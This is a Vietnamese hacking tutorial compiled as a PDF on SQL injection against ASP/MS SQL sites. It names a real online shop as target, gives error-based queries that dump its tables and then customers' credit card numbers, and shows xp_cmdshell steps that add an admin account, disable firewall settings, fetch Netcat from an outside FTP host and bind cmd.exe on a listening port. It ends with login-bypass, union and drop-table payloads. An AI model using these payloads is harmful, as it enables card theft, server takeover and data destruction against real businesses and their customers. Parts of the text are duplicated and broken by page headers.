hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gaythong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shopODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cachnao`.o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thi noi nhieu,noi dai donglam...

Detail:search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh em thuong dung nhuwww.google.com hoac www.froogle.google.com www.av.com www.alltheweb.com yahoo.com......ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl: "/shop/index.asp"(nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko phai ODBC MySQLdatabase,hic,ma thuong la` JSP(java server page) hoac JET, hoac VB.net....net va de nay can phai co su no luc cua anh emtrong viec test.okco' duoc muc tieu roi chon dai 1 thang,vd:

http://www.mcmessentials.com.au

 

 /

okay co muc tieu roi bat dau test no ha

http://www.mcmessentials.com.au/shop/viewp...tegoryid=5' 

neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sauMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosedquotation mark before the character string ''./shop/include/viewproduct.asp, line 3

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 10/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet.

ok bat dau tim table

co the test theo cac cach sau ma em da biet;having 1=1--sp_password'having 1=1--sp_password"having 1=1--sp_password(having 1=1--sp_password)having 1=1--sp_password(space)having 1=1--_sp_password (%20 la space la khoang trang day)

thuong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok*luu y' cac anh em 1 dieu rat can thiet1--%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de markslog tranh bi phat hienhttp://www.mcmessentials.com.au/shop...1--sp_password ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories

bay gio di lay user_name cua shop thong qua cau truy van sau%2bconvert(int,user_name())--sp_passwordBáo lỗi

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax errorconverting the nvarchar value 'braunshop' to a column of data type int./shop/include/viewproduct.asp, line 3'braunshop' la truong user_name cua shop*luu y2--truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko canquyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi denchuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai nghiemtrong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang nao,muondeface,lay pass,lay root,lay server,host thi lien he voi toi

ok bay gio ta se lan luot lay cac table tren column labellay table thu 1 thong qua cau truy van sau%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables))--sp_passwordBáo lỗi:Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax errorconverting the nvarchar value 'categorieslist' to a column of data type int./shop/include/viewproduct.asp, line 3 ok table 1 la'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1')

cau truy van nhu sau:%2bconvert(int,(select%20top%201%20table_name%20fr om%20information_schema.tables%20where%20table_name%20not%20in('categorieslist')))--sp_passwordMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC

SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column of data typeint./shop/include/viewproduct.asp, line 3table 2 la` 'allorders'muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2vay%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where%20table_name%20not%20in('categorieslist','allorders')))--sp_passwordday la tat ca cac table cua shop vua lay duocok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac column,koco muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,sau do moilay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders'ok ta lay no thoicau truy van lay column dau tien la`1---lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang%2bconvert(int,(select top 1 column_name from information_schema.columns))--sp_passwordMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error

converting the nvarchar value 'orderid' to a column of data type int./shop/include/viewproduct.asp, line 3column dau tien la` 'orderid'lay column thu 2 thi can them and column_name not in('orderid')%2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' and column_namenot in('orderid')))--sp_passwordMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax errorconverting the nvarchar value 'created' to a column of data type int./shop/include/viewproduct.asp, line 3va lan luot lay cho het cac column cua table 'orders'

khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay cc,anhem hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field databasekhac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1 kieu truy van duynhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok camay anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi

lay cc dau tien%2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:%20'%2baddress%2b'%20suburb:%20'%2bsuburb%2b'%20state:%20'%2bstate%2b'% 20zip:%20'%2bpostcode%2b'%20country:%20'%2bcountry

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 11/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

%2b'%20phone:%20'%2bphone%2b'%20email:%20'%2bemail%2b'%20cardnumber:%20'%2bcardnumber%2b'%20expireym onth:%20'%2bexpirymonth%2b'%20year:%20'%2bexpiryyear%20from%20orders))--sp_passwordlay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien')va lan luot lay het cac credit card co tren do'nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko nham mucdich pha hoai bat cu ai .

A. Khai thac thong tin ve SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1. Khai thac thong tin ve MS SQL server-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=' Thông tin v ề version của MS SQLand 1=@@version--sp_password'Thông tin v ề servernameand 1=@@servername--sp_password'Thông tin v ề SERVICENAMEand 1=@@SERVICENAME--sp_password'Thông tin v ề UIDand 1=system_user--sp_password'Thông tin v ề PWD?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=2. Khai thac thong tin ve Database-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Thông tin v ề tên databaseand 1=db_name()--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=3. Khai thac thong tin ve Table-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Khai thác thông tin v ề Tablehaving 1=1--sp_password'Khai thác thông tin v ề các Tablegroup by QUESTIONS.QUEST_ID having 1=1--sp_password

'Khai thác thông tin v ề TableUNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password'Khai thác thông tin v ề các TableUNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('PRODUCTS')--sp_password

'Khai thác thông tin v ề Tableand 38=convert(int,(select top 1 table_name from information_schema.tables))--sp_password'Khai thác thông tin v ề các Tableand 38=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('PRODUCTS')))--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=4. Khai thac thong tin ve Column-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin v ề Columnand 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS')))--sp_password'Khai thác thông tin v ề các Columnand 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS') andcolumn_name not in ('QUEST_ID')))--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=5. Khai thac thong tin ve Content-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Khai thác thông tin với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat))--sp_password'Khai thác thông tin dòng tiế p theo với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where NgayXuat<>'Mar 12 2003 12:00AM '))--sp_password'Khai thác thông tin v ề dòng đầu tiên

and 1=convert(int,(select top 1 userName+'/'+userPass from Users))--sp_password'Khai thác thông tin dòng tiế p theoand 1=convert(int,(select top 1 userName+'/'+userPass from Users where userName not in('admin')))--sp_password

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 12/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=6. Khai thac thong tin ve Table, Column, Content cua cac database tiep-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Chú ý:để nhận biế t kiểu của cột dữ  liệu ta dùng "image" để kiểm tra:

-Nế u là trường kiểu ngày/giờ Dùng: char,nchar,nvarchar,varchar

B. Upload backdoor lên host-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1. Xác định mứ c quy ền và cho phép thự c thi lệnh của MS SQL server-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Xác định mứ c quy ền;select * from openrowset('sqloledb','';;,'')--'Thay đổi mứ c quy ền;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1--;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0--'Xoá bỏ và khôi phục Log và firewall trong MS SQL;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'--;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters',RE G_DWORD,0--'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES;select * from openrowset('sqloledb', 'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=2. Do thám đư a thêm các thông tin-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Do tham IP của server và đư a vào bảng testip;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'ipconfig'--'Cộng thêm một quy ền quản trị mới;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec

xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=3. Đư a backdoor lên server-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Upload backdoor lên server vào thư mục C:\WINDOWS\system32;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "chube >>runfile.txt"')--;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "chube >>runfile.txt & hamhoc >>runfile.txt"')--'Kiểm tra xem backdoor đã upload thành công chư a;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'dirrunfile.txt'--

C. Chạy backdoor trên server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1. Xác nhận backdoor đã được kích hoạt-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=2. Chiế m toàn bộ quy ền đi ều khiển server-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=B. Upload backdoor lên host-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1. Xác định mứ c quy ền và cho phép thự c thi lệnh của MS SQL server-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Xác định mứ c quy ền;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'. /publications/titledetail.asp, line 159

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 13/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

'Do guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers setsid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 wherename=''guest''','xx' exec sp_executesql N'drop view dbo.test'--

'Xác nhận guest đã nằm trong database master chư aand 68=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--

'Cài cử a sau;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusersset sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 wherename=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--

'Thay đổi mứ c quy ền;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1--

'Xoá bỏ và khôi phục Log và firewall trong MS SQL;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'--

'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=2. Do thám đư a thêm các thông tin-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-='Do tham IP của server và đư a vào bảng testip;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'pingSCMW001'--and 68=convert(char,(select top 1 dcip from testip where STT=1))--sp_passwordand 68=convert(char,(select top 1 dcip from testip where STT=2))--sp_passwordand 68=convert(char,(select top 1 dcip from testip where STT=3))--sp_passwordand 68=convert(char,(select top 1 dcip from testip where STT=4))--sp_passwordand 68=convert(char,(select top 1 dcip from testip where STT=5))--sp_password;drop table testip

['Pinging scmw001.nmsi.ac.uk']['Reply from 193.62.107.4: bytes']

'Tạo kịch bản để thự c thi;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo open ftp05.websamba.com 21>>uds"')--;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo user xxxxxx>>uds"')--;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo xxxxxx>>uds"')--;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo get uda.exe>>uds"')--;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo get uds.exe>>uds"')--

;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo get uds.zip>>uds"')--;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "echo quit>>uds"')--

'Down backdoor Netcat v ề ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "ftp -v -i -n -s:uds"')--

'Xoá kịch bản đi vì trong đó có thông tin v ề host của mình;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 execmaster..xp_cmdshell "del uds"')--

'Khởi động Netcat ở chế  độ lắng nghe;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec

master..xp_cmdshell "uda.exe -l -p 8080 -e cmd.exe"')--'Chạy Netcat ở chế  độ luôn lắng nghe bằng uda.exe (đổi tên Netcat)

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 14/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

m:\>uds.exe -L -p 8080 -e cmd.exe'Xoá bỏ và khôi phục Log và firewall trong MS SQL;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'--

Cái quan trọng là các lệnh này:;exec master..xp_regdeletevalue;exec master..xp_regwrite...

Còn disable 1 loại firewall hay là thay đổi các thông số khác trên server của họ thì mình phải tự  tìm hiểu thêm để có cài mìnhc ần. Bạn nên tham khảo thêm v ề registry ở trong diễn đàn của mình hay ở bên HVA cũng có thì phải-------------------------------------------------------------------------------------------------------------------------------------------

Hack Sql Inject nâng cao 

Các bạn thử xem một câu truy vấ n SQL:

select id, forename, surname from authors

thì 'id','forename' và 'surname' là column của table author,khi câu truy vấ n trên làm việc thì nó sẽ cho kế t quả tấ t cã các dòngtrong table author.Xem câu truy vấ n sau:

select id, forename, surname from authors where forename = 'john' and surname = 'smith'

Đây là câu truy vấ n có đi ều kiện chắc không nói các bạn cũng biế t,nó cho ra kế t quả tấ t cã nhữ ng ai trong csdl với forename ='john' and surname = 'smith'

Vì vậy khi vào giá trị đầu vào không đúng như  trong csdl liệu:

Forename: jo'hn

Surname: smith

Câu truy vấ n trở thành:

select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

Câu truy vấ n trên khi được xử  lý thì nó sẽ phát sinh lổi:

Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.

Lý do là ta l ồng vào dấ u nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này attackercó thể xoá dữ  liệu của bạn như sau:

Forename: jo'; drop table authors--

Table author sẽ bị xóa>nguy hiểm phải không

Nhìn vào đoạn code asp sau:đây là một form login

<HTML>

<HEAD>

<TITLE>Login Page</TITLE>

</HEAD>

<BODY bgcolor='000000' text='cccccc'>

<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 15/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

<TABLE>

<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%

Page 4

width=100></INPUT></TD></TR>

<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%

width=100></INPUT></TD></TR>

</TABLE>

<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>

</FORM>

</FONT>

</BODY>

</HTML>

Đây là code 'process_login.asp'

<HTML>

<BODY bgcolor='000000' text='ffffff'>

<FONT Face='tahoma' color='ffffff'>

<STYLE>

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )

{

if( Request.form("debug") == "true" )

Response.write( str );

}

function Login( cn )

{

var username;

var password;

username = Request.form("username");

password = Request.form("password");

var rso = Server.CreateObject("ADODB.Recordset");var sql = "select * from users where username = '" + username + "'

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 16/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

and password = '" + password + "'";

trace( "query: " + sql );

rso.open( sql, cn );

if (rso.EOF){

rso.close();

%>

<FONT Face='tahoma' color='cc0000'>

<H1>

<BR><BR>

<CENTER>ACCESS DENIED</CENTER>

</H1>

</BODY>

</HTML>

<%

Response.end

return;

}

else

{

Session("username") = "" + rso("username");

%>

<FONT Face='tahoma' color='00cc00'>

<H1>

<CENTER>ACCESS GRANTED<BR>

<BR>

Welcome,

<% Response.write(rso("Username"));

Response.write( "</BODY></HTML>" );

Response.end

}

}

function Main()

{

 //Set up connection

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 17/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

var username

var cn = Server.createobject( "ADODB.Connection" );

cn.connectiontimeout = 20;

cn.open( "localserver", "sa", "password" );

username = new String( Request.form("username") );

if( username.length > 0)

{

Login( cn );

}

cn.close();

}

Main();

%>

Đây là câu truy vấ n SQL:

var sql = "select * from users where username = '" + username + "'

and password = '" + password + "'";

nế u hacker vào như sau:

Username: '; drop table users--

Password:

thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biế t hế t r ồi tôi không nói lại nữ a

Ơ trường username hacker có thể vào như sau:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

ví dụ table user được tạo như sau:

create table users( id int,

username varchar(255),

password varchar(255),

privs int

)

và insert vào:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )

insert into users values( 0, 'guest', 'guest', 0x0000 )

insert into users values( 0, 'chris', 'password', 0x00ff )

insert into users values( 0, 'fred', 'sesame', 0x00ff )

Các hacker sẽ biế t được kế t quả các column và table qua câu truy vấ n having 1=1

Username: ' having 1=1--Lổi phát sinh:

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 18/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause. /process_login.asp, line 35

Tiế p tục lấ y các cái còn lại:

Username: ' group by users.id having 1=1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'

is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

 /process_login.asp, line 35

>> biế t được column 'username'

' group by users.id, users.username, users.password, users.privs having 1=1--

Cho đế n khi không còn báo lổi thì dừ ng lại

vậy là bạn đã biế t table và column c ần khai thác r ồi,bây giờ đế n đi lấ y giá trị của nó:

Để xác định nội dung của column ta dùng hàm sum()

Username: ' union select sum(username) from users--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument.

 /process_login.asp, line 35

Giá trị của username là varchar,không nói các bạn cũng biế t lý do,còn dùng với id thì sao nhỉ:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of 

expressions in their target lists.

 /process_login.asp, line 35

Vậy là ta có thể insert vào csdl:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

Lấ y Version của server:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 19/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise

Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of 

data type int.

 /process_login.asp, line 35

có thể dùng convert() như ng tôi chỉ các bạn dùng union ,các bạn thử  đọc nội dung của các user trogn table như sau:

Username: ' union select min(username),1,1,1 from users where username > 'a'--

Chọn giá trị nhỏ nhấ t của username và cho nó lớn hơn 'a' > phát sinh lổi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'admin' to a column of data type int.

 /process_login.asp, line 35

Vậy là ta biế t 'admin' acc t ồn tại,tiế p tục xem sao:

Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'chris' to a column of data type int.

 /process_login.asp, line 35

Vậy là khi có username > lấ y pass:

Username: ' union select password,1,1,1 from users where username ='admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'r00tr0x!' to a column of data type int.

 /process_login.asp, line 35

Đây là kỹ thuật mà bạn có thể lấ y được user một cách cao cấ p:

Tạo một script như sau:

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

end

>cau truy vấ n:

Username: '; begin declare @ret varchar(8000) set @ret=':' select

@ret=@ret+' '+username+'/'+password from users where username>@ret

select @ret as ret into foo end--Tạo một table 'foo' với một column là 'ret'

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 20/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Tiế p tục:

Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/r00tr0x! guest/guest chris/password

fred/sesame' to a column of data type int.

 /process_login.asp, line 35

(Hình như mrro dùng kiểu này vào VDC)

Xoá dấ u vế t: 

Username: '; drop table foo--

Một hacker khi đi ều kiển được csdl thì họ muố n xa hơn đó là đi ều khiển hệ thố ng mạng của server đó luôn,một trong số cách

đó:

1-Sữ dụng xp_cmdshell khi đã có quy ền 'sa'

2-Sữ dụng xp_regread để đọc register,bao g ồm SAM

3-Chạy link query trên server

4-Tạo script trên server để khai thác

5-Sữ dung 'bulk insert' để đọc bấ t cứ  file nào trên hệ thố ng

6-Sữ dụng bcp để tạo qu ền cho text file trên server

